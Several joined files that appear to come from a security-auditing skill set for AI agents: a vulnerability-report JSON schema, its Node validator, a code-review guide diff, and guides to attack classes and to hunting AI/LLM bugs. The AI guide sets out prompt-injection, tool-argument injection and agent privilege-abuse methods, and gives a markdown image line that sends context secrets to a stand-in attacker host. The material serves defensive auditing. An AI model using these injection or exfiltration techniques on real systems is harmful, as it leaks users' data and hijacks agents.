"description": "What was the developer trying to build? Explain the intended, non-vulnerable business logic."
},
"trace": {
"type": "array",
"minItems": 2,
"items": {
"type": "object",
"properties": {
"kind": {
"type": "string",
"enum": ["entrypoint", "propagation", "sink"]
},
"file": {
"type": "string",
"description": "Exact file path relative to repository root."
},
"line": {
"type": "integer"
},
"scope": {
"type": "string",
"description": "Bare function or method name. No parentheses, no arguments."
},
"description": {
"type": "string",
"description": "Factual description of the state change or data movement."
}
},
"required": ["kind", "file", "line", "scope", "description"],
"additionalProperties": false
},
"description": "Sequential code trace from entrypoint to sink, verified against actual source code. The first step must be kind 'entrypoint', the last must be kind 'sink', and any intermediate steps must be kind 'propagation' (enforced by the validator)."
},
"conditions": {
"type": "array",
"items": {
"type": "object",
"properties": {
"kind": {
"type": "string",
"enum": [
"authentication_level",
"authorization_role",
"user_interaction",
"system_configuration",
"network_routing",
"environmental_dependency",
"data_state",
"timing_dependency",
"third_party_dependency"
]
},
"description": {
"type": "string"
}
},
"required": ["kind", "description"],
"additionalProperties": false
},
"description": "Factual prerequisites for exploitation. Empty array if exploitable by default."
},
"execution": {
"type": "object",
"properties": {
"attacker_perspective": {
"type": "string",
"description": "Who is the attacker and their starting point."
},
"payloads": {
"type": "array",
"items": {
"type": "string"
},
"description": "Specific malicious inputs, HTTP requests, or scripts."
},
"instructions": {
"type": "array",
"items": {
"type": "string"
},
"description": "Linear array of all attacker actions from setup through exploitation."
},
"expected_result": {
"type": "string",
"description": "Observable outcome confirming successful exploitation."
}
},
"required": [
"attacker_perspective",
"payloads",
"instructions",
"expected_result"
],
"additionalProperties": false
},
"remediation": {
"type": "object",
"properties": {
"strategy": {
"type": "string",
"description": "High-level explanation of the fix."
},
"code_changes": {
"type": "array",
"items": {
"type": "object",
"properties": {
"file_name": {
"type": "string"
},
"fixed_code": {
"type": "string"
}
},
"required": ["file_name", "fixed_code"],
"additionalProperties": false
}
}
},
"required": ["strategy"],
"additionalProperties": false
},
"severity": {
"type": "object",
"properties": {
"likelihood": {
"type": "object",
"properties": {
"score": {
"type": "string",
"enum": [
"informational",
"low",
"medium",
"high",
"critical"
]
},
"reason": {
"type": "string"
}
},
"required": ["score", "reason"],
"additionalProperties": false
},
"impact": {
"type": "object",
"properties": {
"score": {
"type": "string",
"enum": [
"informational",
"low",
"medium",
"high",
"critical"
]
},
"reason": {
"type": "string"
}
},
"required": ["score", "reason"],
"additionalProperties": false
},
"overall_severity": {
"type": "string",
"enum": ["informational", "low", "medium", "high", "critical"]
}
},
"required": ["likelihood", "impact", "overall_severity"],
"additionalProperties": false
},
"confidence": {
"type": "object",
"properties": {
"score": {
"type": "string",
"enum": ["low", "medium", "high"]
},
"reason": {
"type": "string",
"description": "Why you scored the confidence this way. Mention any missing files, complex routing, or ambiguous data flows."
}
},
"required": ["score", "reason"],
"additionalProperties": false
}
},
"required": [
"verdict",
"title",
"description",
"root_cause",
"intended_behavior",
"trace",
"conditions",
"execution",
"remediation",
"severity",
"confidence"
],
"additionalProperties": false
},
{
"type": "object",
"description": "Rejected finding — the described behavior is factually incorrect or the code path does not exist.",
"properties": {
"verdict": {
"type": "string",
"const": "rejected"
},
"reason": {
"type": "string",
"description": "Explain which specific claims in the finding are factually wrong (e.g., code path doesn't exist, mitigation prevents the described flow, trace is incorrect)."
}
},
"required": ["verdict", "reason"],
"additionalProperties": false
}
]
}
}
#!/usr/bin/env node
/**
* Validates findings.json against report-schema.json.
* Usage: node validate-findings.cjs <path-to-findings.json>
*
* The validation rules live in report-schema.json — the single source of truth.
* This script reads that schema at runtime and interprets the subset of JSON
* Schema it uses: type (object|array|string|integer), properties, required,
* additionalProperties:false, enum, const, items, minItems, and oneOf.
*
* Some constraints can't be expressed in that subset (a confirmed trace must
* start at an "entrypoint", end at a "sink", and only use "propagation" for
* intermediate steps). They're applied as an explicit, clearly-labelled
* semantic layer after schema validation.
*
* Zero dependencies. Exits 0 on success, 1 on validation failure.
*/
const fs = require("fs");
const path = require("path");
const file = process.argv[2];
if (!file) {
console.error("Usage: node validate-findings.cjs <path-to-findings.json>");
process.exit(1);
}
const schemaPath = path.join(__dirname, "report-schema.json");
let itemSchema;
try {
const doc = JSON.parse(fs.readFileSync(schemaPath, "utf8"));
itemSchema = doc.output_schema;
if (!itemSchema)
throw new Error('report-schema.json is missing top-level "output_schema"');
} catch (e) {
console.error(`Failed to load schema from ${schemaPath}:`, e.message);
process.exit(1);
}
let findings;
try {
findings = JSON.parse(fs.readFileSync(file, "utf8"));
} catch (e) {
console.error("Failed to parse JSON:", e.message);
process.exit(1);
}
if (!Array.isArray(findings)) {
console.error("findings.json must be an array");
process.exit(1);
}
// --- Generic JSON Schema interpreter (the subset used by report-schema.json) ---
function typeOf(v) {
if (Array.isArray(v)) return "array";
if (v === null) return "null";
return typeof v; // "object" | "string" | "number" | "boolean"
}
// For oneOf: find a property defined with a `const` so error messages can point
// at the intended branch (e.g. discriminate confirmed vs rejected by "verdict").
function findDiscriminator(schema) {
if (!schema.properties) return null;
for (const [key, sub] of Object.entries(schema.properties)) {
if (sub && Object.prototype.hasOwnProperty.call(sub, "const")) {
return { key, value: sub.const };
}
}
return null;
}
function validate(value, schema, p, errors) {
if (schema.oneOf) {
// Prefer the branch whose const discriminator matches, so the caller sees
// detailed errors for the branch they clearly intended.
for (const branch of schema.oneOf) {
const disc = findDiscriminator(branch);
if (
disc &&
value &&
typeof value === "object" &&
value[disc.key] === disc.value
) {
validate(value, branch, p, errors);
return;
}
}
// No discriminator matched. If every branch is discriminated by the same
// key, report the bad discriminator value clearly.
const discs = schema.oneOf.map(findDiscriminator).filter(Boolean);
if (
discs.length === schema.oneOf.length &&
value &&
typeof value === "object"
) {
const key = discs[0].key;
const allowed = discs.map((d) => JSON.stringify(d.value)).join(", ");
errors.push(
`${p}: "${key}" must be one of ${allowed}, got ${JSON.stringify(value[key])}`,
);
return;
}
const passing = schema.oneOf.filter(
(b) => collect(value, b, p).length === 0,
);
if (passing.length !== 1) {
errors.push(`${p}: does not match exactly one of the allowed schemas`);
}
return;
}
if (
Object.prototype.hasOwnProperty.call(schema, "const") &&
value !== schema.const
) {
errors.push(
`${p}: must equal ${JSON.stringify(schema.const)}, got ${JSON.stringify(value)}`,
);
}
if (schema.enum && !schema.enum.includes(value)) {
const allowed = schema.enum.map((v) => JSON.stringify(v)).join(", ");
errors.push(
`${p}: invalid value ${JSON.stringify(value)} (expected one of ${allowed})`,
);
}
switch (schema.type) {
case "object": {
if (typeOf(value) !== "object") {
errors.push(`${p}: expected object, got ${typeOf(value)}`);
return;
}
for (const req of schema.required || []) {
if (!(req in value))
errors.push(`${p}: missing required field "${req}"`);
}
for (const key of Object.keys(value)) {
if (schema.properties && key in schema.properties) {
validate(value[key], schema.properties[key], `${p}.${key}`, errors);
} else if (schema.additionalProperties === false) {
errors.push(`${p}: unexpected field "${key}"`);
}
}
break;
}
case "array": {
if (typeOf(value) !== "array") {
errors.push(`${p}: expected array, got ${typeOf(value)}`);
return;
}
if (
typeof schema.minItems === "number" &&
value.length < schema.minItems
) {
errors.push(
`${p}: must have at least ${schema.minItems} item(s), got ${value.length}`,
);
}
if (schema.items) {
value.forEach((el, i) =>
validate(el, schema.items, `${p}[${i}]`, errors),
);
}
break;
}
case "integer": {
if (typeOf(value) !== "number" || !Number.isInteger(value)) {
errors.push(`${p}: expected integer, got ${typeOf(value)}`);
}
break;
}
case "string": {
if (typeOf(value) !== "string") {
errors.push(`${p}: expected string, got ${typeOf(value)}`);
}
break;
}
default:
break; // no type constraint at this node
}
}
function collect(value, schema, p) {
const errors = [];
validate(value, schema, p, errors);
return errors;
}
// --- Run ----------------------------------------------------------------------
let errorCount = 0;
findings.forEach((f, i) => {
const label = `[${i}] ${(f && (f.title || f.reason)) || "(untitled)"}`;
console.log(`Checking ${label}`);
const errs = collect(f, itemSchema, `[${i}]`);
// Semantic layer — constraints the schema subset can't express:
// a confirmed trace must be one entrypoint, zero or more propagation steps,
// then one sink.
if (
f &&
f.verdict === "confirmed" &&
Array.isArray(f.trace) &&
f.trace.length > 0
) {
if (f.trace[0] && f.trace[0].kind !== "entrypoint") {
errs.push(
`[${i}].trace[0].kind must be "entrypoint", got ${JSON.stringify(f.trace[0].kind)}`,
);
}
const last = f.trace.length - 1;
if (f.trace[last] && f.trace[last].kind !== "sink") {
errs.push(
`[${i}].trace[${last}].kind must be "sink", got ${JSON.stringify(f.trace[last].kind)}`,
);
}
for (let j = 1; j < last; j++) {
if (f.trace[j] && f.trace[j].kind !== "propagation") {
errs.push(
`[${i}].trace[${j}].kind must be "propagation", got ${JSON.stringify(f.trace[j].kind)}`,
);
}
}
}
for (const msg of errs) console.error(" ERROR:", msg);
errorCount += errs.length;
});
console.log();
if (errorCount === 0) {
console.log(`PASS: ${findings.length} findings valid`);
} else {
console.error(
`FAIL: ${errorCount} error(s) across ${findings.length} findings`,
);
process.exit(1);
}
......@@ -110,14 +110,14 @@ Small, focused changes are easier to review, faster to merge, and safer to deplo
~1000 lines changed → Too large. Split it.
```
**Watch file size, not just diff size.** A small diff can still push a file past a healthy boundary — around 1000 *total* lines in a single file (distinct from the ~1000 *changed*-lines threshold above) is a common inspection signal, not a hard cap. When a change materially grows an already-large file, ask whether to extract helpers, subcomponents, or modules *first*, before piling more on. Decompose, then add.
**Watch file size, not just diff size.** A small diff can still push a file past a healthy boundary — around 1000 _total_ lines in a single file (distinct from the ~1000 _changed_-lines threshold above) is a common inspection signal, not a hard cap. When a change materially grows an already-large file, ask whether to extract helpers, subcomponents, or modules _first_, before piling more on. Decompose, then add.
**What counts as "one change":** A single self-contained modification that addresses one thing, includes related tests, and keeps the system functional after submission. One part of a feature — not the whole feature.
**Splitting strategies when a change is too large:**
| Strategy | How | When |
|----------|-----|------|
| ----------------- | ------------------------------------------------------- | ----------------------- |
| **Stack** | Submit a small change, start the next one based on it | Sequential dependencies |
| **By file group** | Separate changes for groups needing different reviewers | Cross-cutting concerns |
| **Horizontal** | Create shared code/stubs first, then consumers | Layered architecture |
......@@ -179,8 +179,8 @@ For each file changed:
Label every comment with its severity so the author knows what's required vs optional:
| Prefix | Meaning | Author Action |
|--------|---------|---------------|
| *(no prefix)* | Required change | Must address before merge |
| ----------------------------- | ------------------ | ------------------------------------------------------- |
| _(no prefix)_ | Required change | Must address before merge |
| **Critical:** | Blocks merge | Security vulnerability, data loss, broken functionality |
| **Nit:** | Minor, optional | Author may ignore — formatting, style preferences |
| **Optional:** / **Consider:** | Suggestion | Worth considering but not required |
......@@ -188,7 +188,7 @@ Label every comment with its severity so the author knows what's required vs opt
This prevents authors from treating all feedback as mandatory and wasting time on optional suggestions.
**Lead with what matters.** Order findings by leverage: correctness and security first, then structural regressions and missed simplifications, then everything else. Don't bury a real issue under cosmetic nits — a few high-conviction comments beat a long list. If you have one structural problem and ten nits, the structural problem *is* the review.
**Lead with what matters.** Order findings by leverage: correctness and security first, then structural regressions and missed simplifications, then everything else. Don't bury a real issue under cosmetic nits — a few high-conviction comments beat a long list. If you have one structural problem and ten nits, the structural problem _is_ the review.
### Step 5: Verify the Verification
......@@ -222,6 +222,7 @@ Human makes the final call
This catches issues that a single model might miss — different models have different blind spots.
**Example prompt for a review agent:**
```
Review this code change for correctness, security, and adherence to
our project conventions. The spec says [X]. The change should [Y].
......@@ -281,6 +282,7 @@ When reviewing code — whether written by you, another agent, or a human:
Part of code review is dependency review:
**Before adding any dependency:**
1. Does the existing stack solve this? (Often it does.)
2. How large is the dependency? (Check bundle impact.)
3. Is it actively maintained? (Check last commit, open issues.)
......@@ -293,11 +295,11 @@ Part of code review is dependency review:
1. **Read the changelog, not just the version number.** Semver is a promise the maintainer may not have kept — a "patch" can carry a behavioral change. For a major bump, read the migration notes and find what breaks.
2. **One dependency per change.** Upgrade and merge them individually (or in small related groups). When a bulk bump breaks the build, you've lost which package did it; a single-package change makes the cause obvious and the revert clean.
3. **Let the tests decide.** The upgrade is verified by a green suite before *and* after, not by "it installed." If coverage around the dependency's behavior is thin, that gap is the real finding — add a test first.
3. **Let the tests decide.** The upgrade is verified by a green suite before _and_ after, not by "it installed." If coverage around the dependency's behavior is thin, that gap is the real finding — add a test first.
4. **Mind the transitive graph.** Most installed packages are ones nobody chose directly. Review the lockfile diff, not just `package.json`; a single direct bump can pull in dozens of indirect changes.
5. **Keep the lockfile honest.** Commit it, review its diff, and never hand-edit it. The lockfile is the thing that actually pins what ships.
For triaging `npm audit` findings and supply-chain risk (typosquatting, compromised maintainers), follow the `security-and-hardening` skill — this section covers the upgrade *workflow*, that one covers the security verdict.
For triaging `npm audit` findings and supply-chain risk (typosquatting, compromised maintainers), follow the `security-and-hardening` skill — this section covers the upgrade _workflow_, that one covers the security verdict.
## The Review Checklist
......@@ -305,20 +307,24 @@ For triaging `npm audit` findings and supply-chain risk (typosquatting, compromi
## Review: [PR/Change title]
### Context
- [ ] I understand what this change does and why
### Correctness
- [ ] Change matches spec/task requirements
- [ ] Edge cases handled
- [ ] Error paths handled
- [ ] Tests cover the change adequately
### Readability
- [ ] Names are clear and consistent
- [ ] Logic is straightforward
- [ ] No unnecessary complexity
### Architecture
- [ ] Follows existing patterns
- [ ] No unnecessary coupling or dependencies
- [ ] Appropriate abstraction level
......@@ -326,6 +332,7 @@ For triaging `npm audit` findings and supply-chain risk (typosquatting, compromi
- [ ] No feature logic in shared modules; file stays within a healthy size
### Security
- [ ] No secrets in code
- [ ] Input validated at boundaries
- [ ] No injection vulnerabilities
......@@ -333,19 +340,23 @@ For triaging `npm audit` findings and supply-chain risk (typosquatting, compromi
- [ ] External data sources treated as untrusted
### Performance
- [ ] No N+1 patterns
- [ ] No unbounded operations
- [ ] Pagination on list endpoints
### Verification
- [ ] Tests pass
- [ ] Build succeeds
- [ ] Manual verification done (if applicable)
### Verdict
- [ ] **Approve** — Ready to merge
- [ ] **Request changes** — Issues must be addressed
```
## See Also
- For detailed security review guidance, see `../../references/security-checklist.md`
......@@ -354,7 +365,7 @@ For triaging `npm audit` findings and supply-chain risk (typosquatting, compromi
## Common Rationalizations
| Rationalization | Reality |
|---|---|
| ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| "It works, that's good enough" | Working code that's unreadable, insecure, or architecturally wrong creates debt that compounds. |
| "I wrote it, so I know it's correct" | Authors are blind to their own assumptions. Every change benefits from another set of eyes. |
| "We'll clean it up later" | Later never comes. The review is the quality gate — use it. Require cleanup before merge, not after. |
......
# AI, LLM, and Agent Hunting
#### When to use this file
Reach for this file when the target embeds a language model in a trust-sensitive path: chatbots and assistants, RAG pipelines, agent/tool-calling loops, MCP servers and clients, code that builds prompts from untrusted input, or code that consumes model output and acts on it. These targets fail differently from ordinary web apps — the dangerous data flow is _untrusted text → model → capability or sink_, and the model is a confused deputy that will faithfully carry attacker instructions across a trust boundary the developer assumed the model would respect. It won't.
Use this alongside `ATTACK-CLASSES.md`, not instead of it: the transport is still HTTP, the tools still hit SQL/shell/filesystem sinks, and access control still applies. This file covers the model-specific layer on top.
Pick the relevant classes based on Phase 1. Split per subsystem (retrieval, tool dispatch, output rendering) for large targets.
## Core discipline (include in every agent prompt for this domain)
```
- "The model can be prompt-injected" is NOT a finding on its own. Prompt injection that only affects the attacker's own session and their own output is a party trick. A finding requires the injection to CROSS A BOUNDARY: reach a victim's context, invoke a capability the requester lacks, exfiltrate data the requester can't see, or drive a downstream sink the attacker couldn't otherwise reach (server-side SQL/shell/SSRF beyond their own session). Name the boundary crossed.
- The bug is in the CODE, not the model. The finding is the missing code-level gate between attacker-influenceable input and a dangerous capability or sink — point at the line that grants the capability, trusts the output, or feeds the context, not the model's mood. Non-determinism is not a defense: the model's probability of complying is an exploitability detail, never a reporting blocker. If the code makes the output harmless (output that never reaches a sink), there is no finding regardless of what the model can be talked into saying.
- Model output is untrusted input. Trace it to its sink with the same rigor as any user input. "It came from our model" is the exact assumption being attacked.
- A guardrail prompt ("never reveal the system prompt", "refuse harmful requests") is not a security control. Do not credit it as a mitigation. If the only thing standing between the attacker and impact is instructions in the prompt, the boundary is undefended.
```
## Prompt-injection attack classes (subagent_type: `general`)
**Indirect injection via retrieved / ingested content**
The high-value class. Attacker plants instructions in data the model later ingests in _someone else's_ session: a RAG document, an indexed web page, a file upload, an email, an issue/PR body, a tool's response, a filename. Trace every source that reaches the prompt context and ask "who can write this, and whose session does it fire in?" Find the ingestion path; confirm the content reaches the context window unfiltered; confirm that context has a capability worth hijacking.
**Tool-argument injection (model output → sink)**
The model emits a tool call and the code executes it with model-generated arguments. Those arguments hit a real sink — SQL (`query(args.filter)`), shell (`exec(args.cmd)`), file path (`readFile(args.path)`), HTTP (`fetch(args.url)` → SSRF), or another API. The code trusts the arguments because "the model produced structured output." Trace each tool handler's parameters to their sink and validate them at the handler like any request body.
**Direct injection into a privileged capability**
Direct (same-session) injection only matters when the model can do something the _user_ is not authorized to do directly. If the assistant runs tools under a service identity, or has a system prompt containing secrets, or can reach internal endpoints, then a user talking the model into using those crosses a privilege boundary even in their own session. If the model can only do what the user could already do via the UI, direct injection is not a finding. Hunt step: enumerate every capability the assistant holds that its users don't, then check whether same-session user text can steer the model into each.
**Prompt-template / delimiter injection**
Untrusted input concatenated into the prompt without fencing or role separation, so the attacker forges structure the orchestrator trusts: a fake system turn, a fabricated prior conversation turn, or a counterfeit tool result. The finding is the assembly code — the concatenation that lets user bytes impersonate a trusted role — not the model obeying them. Find where the prompt is built and whether untrusted spans are delimited or escaped from control text.
## Agent and tool-calling attack classes (subagent_type: `general`)
**Excessive agency / confused-deputy authority**
The agent executes tools under _its own_ identity (service account, broad API key, DB superuser) rather than the requesting user's. Every tool call is then a privilege-escalation vector: the user asks, the agent acts with more authority than the user has. Check whether tool execution re-checks the _user's_ permission on the _specific resource_, or just that "the agent is allowed to call this tool." The same gap at the parameter level is IDOR through tools: `get_document(id)` / `read_file(path)` with the ID filled from user text and no check that _this_ user may reach _that_ resource — endpoint IDOR reached by asking. Common false positive: a shared service credential that runs every query _scoped to the authenticated user's ID_ is normal, safe architecture — not a confused deputy.
**Unbounded action loops / cost and side-effect abuse**
Agent loops that call tools until a goal is met: can an attacker drive an expensive or irreversible loop (spend, send, delete, external API calls) through a single crafted request? Look for tool calls with side effects inside a model-controlled iteration with no per-action authorization or budget. The impact that makes this a finding crosses out of the attacker's own session — it hits the operator's bill, a shared rate/quota limit, or other tenants' availability (denial-of-wallet), so it survives the "capability they already have" test even when the attacker only touches their own request.
**Sub-agent / MCP trust inheritance**
When an agent spawns sub-agents or connects to MCP servers, what identity and context do they inherit? A sub-agent or tool server that receives the full session, credentials, or a broader capability set than the task needs is a lateral-movement primitive. A malicious or compromised MCP server is an attacker that speaks directly into the model's context — treat its responses as indirect injection.
## Output-handling and disclosure attack classes (subagent_type: `general`)
**Insecure output rendering (XSS / injection via model output)**
Model output rendered as HTML/Markdown without sanitization → stored/reflected XSS. Markdown image/link rendering is the classic exfiltration channel: the model emits `![x](https://attacker/?d=<secret from context>)` and the client fetches it, leaking context to the attacker's server. Check where model output is displayed and whether it's treated as trusted HTML. The image-exfil channel only fires if the render surface auto-loads remote resources and no CSP `img-src` restricts the destination — if the rendering client is out of scope or unknown (native app, terminal, CSP-locked web UI), the sink is unconfirmed: treat it as unverifiable, not a finding.
**System-prompt / context extraction to a real secret**
Extraction is only a finding if the context actually contains something sensitive — API keys, other users' data, internal URLs, hidden business rules that gate access. Confirm the secret is really in the context (read the prompt-assembly code) before reporting. A leaked generic "you are a helpful assistant" prompt is not a finding.
**Cross-session / multi-tenant context bleed**
Conversation history, embeddings, or the KV/prompt cache keyed too broadly, so one user's context appears in another's session. Trace the cache/session key: is it scoped per user, or is there a path where a shared key mixes tenants? Related: retrieval (vector or keyword search) that lacks a per-tenant metadata/ACL filter at query time pulls another tenant's chunks into context — IDOR at the retrieval layer; confirm the query itself applies the tenant filter, not just that documents carry a tenant field. These are code bugs (bad cache key, shared buffer, unfiltered query), not model behavior — verify them in the storage/retrieval layer.
## Universal moves (apply across the above)
- **Draw the boundary before hunting.** Enumerate: what identity do tools run as, what's in the context window, who can write to each context source, where does output go. Most AI findings fall out of a correct map of these four; most AI false positives come from not drawing it.
- **Find the capability, then find who can reach it.** Start from the most dangerous tool (delete, spend, exec, fetch-internal) and work backwards to whether untrusted text can reach its arguments. Power × reachability, same as any privileged interface.
## Validation rules (apply before reporting ANY finding here)
1. **Name the boundary crossed.** State exactly who the attacker is, whose session/identity the payload executes in, and what they get that they couldn't get directly. If attacker and victim are the same principal and the capability is one they already have, it is not a finding.
2. **For confused-deputy / excessive-agency claims, prove both halves.** Show (a) the tool performs no per-resource check scoped to the requesting user, AND (b) the action is one the user could not perform through a normal authenticated request. A shared service credential with per-user query scoping fails both tests and is not a finding.
3. **Cite the trusting line and prove the taint reaches it.** For tool-argument and output findings, show the concrete sink (the `exec`/`query`/`fetch`/`innerHTML`) with model-influenced data reaching it unvalidated; for extraction/disclosure findings, cite the prompt-assembly code and confirm the secret or cross-tenant data is really in the context. If you can't cite the code, you have a black-box observation, not a finding.
4. **Don't assert capabilities you can't see in source.** Claims that depend on deployment facts not in the repo — whether an "internal-only" endpoint is actually unreachable by the user, what a tool's target really exposes, which client renders the output — are unverifiable from source. If the user could reach the same thing directly (flat network, same origin), it is not a privilege crossing. Confirm the capability and the boundary in code, or mark it unverifiable rather than reporting it.
5. **Return ONLY confirmed findings** with the boundary crossed, the trusting code path, and the observable result — or "No exploitable AI/LLM issues found" if that's honest.
# Attack Classes
#### Attack classes — choose and split based on Phase 1
Select attack classes relevant to the application type. Not every class applies to every codebase. The list below is a starting point — add application-specific ones based on Phase 1. For large codebases, split classes per subsystem.
> **Native / binary / kernel targets** (C/C++/Rust-unsafe, kernel modules, parsers and decoders, reverse-engineering tooling, runtimes/JITs, firmware): the web-oriented classes below fit poorly. Use the memory-safety, binary, and kernel classes in [MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md) instead of or alongside them.
>
> **AI / LLM / agent targets** (chatbots, RAG pipelines, tool-calling agents, MCP servers/clients, anything that builds prompts from untrusted input or acts on model output): use the prompt-injection, agency, and output-handling classes in [AI-AND-LLM.md](AI-AND-LLM.md) alongside the classes below.
>
> **HTTP-protocol and auth targets** (reverse proxies, CDNs, API gateways, custom HTTP parsers, and anything implementing sessions, JWT, OAuth/OIDC, or SAML): use the request-framing, cache, and auth-protocol classes in [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md) alongside the classes below.
>
> **Client-side / browser targets** (SPAs, browser extensions, embedded webviews, anything using `postMessage`, CORS, or WebSockets, or that renders untrusted content in the DOM): use the DOM-injection, messaging-trust, and UI-redress classes in [CLIENT-SIDE.md](CLIENT-SIDE.md) alongside the classes below.
**Injection** (subagent_type: `general`)
Trace untrusted input from entry point to dangerous sink. What counts as a "dangerous sink" depends on the application:
- Web apps: SQL queries, HTML output, shell commands, template engines, file paths, HTTP redirects, deserialization
- Libraries: any function that processes caller-supplied data without validation — buffer operations, parsers, format strings
- CLI tools: shell command construction, file path handling, environment variable interpolation
- Services: query construction, message serialization, log injection, LDAP/XPATH queries
- Client-side (browser/JS): DOM XSS, prototype pollution, `postMessage`/origin trust, and other browser-side classes — see [CLIENT-SIDE.md](CLIENT-SIDE.md)
Don't just check the obvious direct paths. Look for indirect injection: data stored safely, then retrieved and used in a dangerous context by different code. Look for injection through field names, keys, headers, and metadata — not just values. Look for injection into secondary systems (logs, caches, search indexes, analytics).
**Access control** (subagent_type: `general`)
Can a caller do something they shouldn't? Go beyond checking whether permission checks exist — verify they check the _right_ permission for the _right_ resource via the _right_ mechanism:
- Is there a path to the same state change that checks a different (weaker) permission?
- Can a field in the request body override what the permission system intended to restrict?
- Are there endpoints that gate on authentication but forget authorization?
- Does the same resource have multiple access paths with inconsistent checks?
- What about bulk/batch/export/import operations — do they enforce per-item permissions?
For complex access models, split into separate agents for auth bypass vs authorization logic.
**Resource and file handling** (subagent_type: `general`)
- Path traversal (reading/writing outside intended directories) — including through symlinks, encoded sequences, and null bytes
- SSRF (making the application fetch attacker-controlled URLs) — including through redirects, DNS rebinding, and URL parser differentials
- Unsafe deserialization, archive extraction (zip slip), temp file handling
- Memory safety (if applicable): buffer overflows, use-after-free, integer overflow
- Race conditions on file operations (TOCTOU between check and use)
**Cryptography and secrets** (subagent_type: `general`)
- Weak randomness for security-critical values (tokens, keys, nonces)
- Hardcoded secrets, secrets in logs, error messages, URLs, or client-visible responses
- Broken key derivation, missing HMAC verification, nonce reuse
- Timing side-channels on secret comparison
- Misuse of crypto primitives (ECB mode, unauthenticated encryption, static IVs, etc.)
- What happens when crypto operations fail? Does the error path fall back to no-crypto?
**Business logic** (subagent_type: `general`)
This is where the real bugs hide. Standard scanners can't find logic errors. For each major workflow:
- **State machine violations**: Can you skip steps? Go backwards? Reach an invalid state? What happens if you replay a completed flow? What about partial failure — if step 2 of 3 fails, is step 1 rolled back?
- **Race conditions with business impact**: Concurrent operations that produce invalid states (double-spend, double-approve, lost updates). Focus on operations that check-then-act non-atomically.
- **Numeric/quantity manipulation**: Negative values, zero values, overflow, precision loss, type coercion between string and number.
- **Access boundary violations**: Not "does the permission check exist" but "is it the right check for the business rule?" Can input to one operation bypass a restriction enforced on a different operation for the same effect?
- **Implicit trust assumptions**: Data from storage, config, other components, or plugins assumed safe because "we validated it on the way in." What if a different code path wrote it?
- **Time-based logic**: Expiry checks, scheduling, rate windows, clock skew. What happens at exact boundary moments? What about timezone differences between components?
- **Default and fallback behavior**: What's the security posture when config is missing? When a feature flag is off? When a dependency is unavailable? When the system is mid-migration?
**Feature abuse and data leakage** (subagent_type: `general`)
Legitimate features used for unintended purposes. Don't look for bugs in the code — look for bugs in the design:
- **Export/backup as exfiltration**: Can a low-privilege user trigger an export, snapshot, or backup that includes data above their access level? Can they export other users' data? Does the export include deleted/draft/private content? Revision history that was supposed to be pruned?
- **Import/restore as injection**: Can import overwrite existing data? Can it create records that bypass normal validation? Can it inject content into collections the user doesn't have write access to? Does it respect the same permission model as the UI?
- **Search/filter/sort as oracle**: Can search queries reveal whether content exists that the user can't directly access? Do filter parameters let users probe statuses, roles, or fields they shouldn't know about? Does sorting by a hidden field reveal its values through result ordering?
- **Enumeration through side effects**: Do error messages differ between "doesn't exist" and "you don't have access"? Do response times differ? Response sizes? HTTP status codes? Can you enumerate users through password reset, invite, or registration flows?
- **Preview/draft/staging leakage**: Are preview tokens scoped to one item or do they unlock broader access? Can draft content be discovered through search, RSS feeds, sitemaps, or API listing endpoints? Can cache headers cause a CDN to serve private content publicly?
- **Notification/webhook as SSRF**: Can a user set a notification URL, webhook URL, or callback URL that the server fetches? Is it validated against internal networks? What about after a redirect?
**Chained attacks and trust boundaries** (subagent_type: `general`)
Individual safe behaviors that become dangerous in combination. Think about the full system:
- **Multi-step chains**: Map out what a low-privilege user CAN do, then look for combinations. Info disclosure (learning a resource ID) + IDOR (accessing it directly) + missing rate limit (brute-forcing the ID space). Open redirect + OAuth callback = token theft. Benign XSS in a low-value context + CSRF to escalate it.
- **Cross-component trust gaps**: Component A validates input and passes it to component B. Does B re-validate or trust A? What if A's validation is subtly different from what B needs (e.g., A allows 255 chars but B truncates at 128, creating a different string)? What about plugin/extension trust — can third-party code manipulate core state, bypass permission hooks, or access storage directly?
- **Second-order attacks**: Data safe when stored but dangerous when used in a different context. A field name safe in SQL becomes a key in a JSON path expression. A slug safe in a URL becomes part of a file path. Content stored HTML-escaped gets double-escaped or rendered in a context that expects raw text. Config values stored as strings get parsed as URLs, regexes, or templates.
- **Scope and capability escalation**: Tokens, API keys, or OAuth scopes that grant broader access than their name implies. A `read` scope that also allows listing draft content. Session cookies that survive a role downgrade. Plugin capabilities that provide a stepping stone to higher access. MCP or AI tool integrations that inherit the user's full session.
- **Timing and ordering**: Can you use a feature before setup/migration is complete? Act on a resource between soft-delete and hard-delete? Use a token between revocation and cache expiry? Exploit the gap between two non-atomic operations (check-then-act, read-then-write, validate-then-use)?
- **Rollback and recovery abuse**: What happens when an operation is undone? Undelete, restore from backup, revert a revision, cancel a pending action. Does the rollback restore more than intended? Does it bypass current permissions? Can you restore a resource into a state that's no longer valid?
**Wildcard** (subagent_type: `general`)
You are not given a category. You are given the codebase and told to break it.
Ignore the standard vulnerability classes — other agents are covering those. Your job is to find the thing nobody thought to look for. Read code that looks boring. Follow functions that seem unrelated to security. Get curious about the weird stuff.
Some starting points, but don't limit yourself to these:
- What's the strangest code in the codebase? Why does it exist? What happens if it's abused?
- Are there any features that feel half-finished, experimental, or bolted on? Those have the weakest security because they got the least review.
- What happens if you use the API in a way the frontend never would? The UI constrains users, but the API doesn't. What API calls are possible but never made by the client?
- Are there any hidden or undocumented endpoints, parameters, headers, or features? Look at route registrations, middleware, and config for things that aren't in the docs.
- What happens when you mix features that weren't designed to work together? Localization + preview + caching. Import + plugins + webhooks. OAuth + impersonation + API keys.
- Is there anything interesting in the git history? Reverted security fixes, commented-out auth checks, secrets that were committed then removed (still in history).
- What would you do if you had a valid account but wanted to cause maximum damage without being detected? Not escalation — sabotage. Corrupting data, poisoning caches, exhausting resources, creating confusing state.
- Are there any operations that are irreversible? What if you trick an admin into performing one?
- What assumptions does the code make about the environment? That the database is local, that the clock is accurate, that DNS is trustworthy, that the filesystem is case-sensitive?
- Look at the test files — what are they NOT testing? What edge cases did the developer think about (tests exist) vs. what they didn't (no tests)?
Follow rabbit holes. If something looks weird, dig. If a function has a comment explaining why it's safe, verify the explanation. If a variable is named `temp` or `hack` or `legacy`, read every line of it.
**Obvious things** (subagent_type: `general`)
The other agents are hunting for subtle bugs. This agent checks the dumb stuff that's easy to overlook because everyone assumes someone else already checked it:
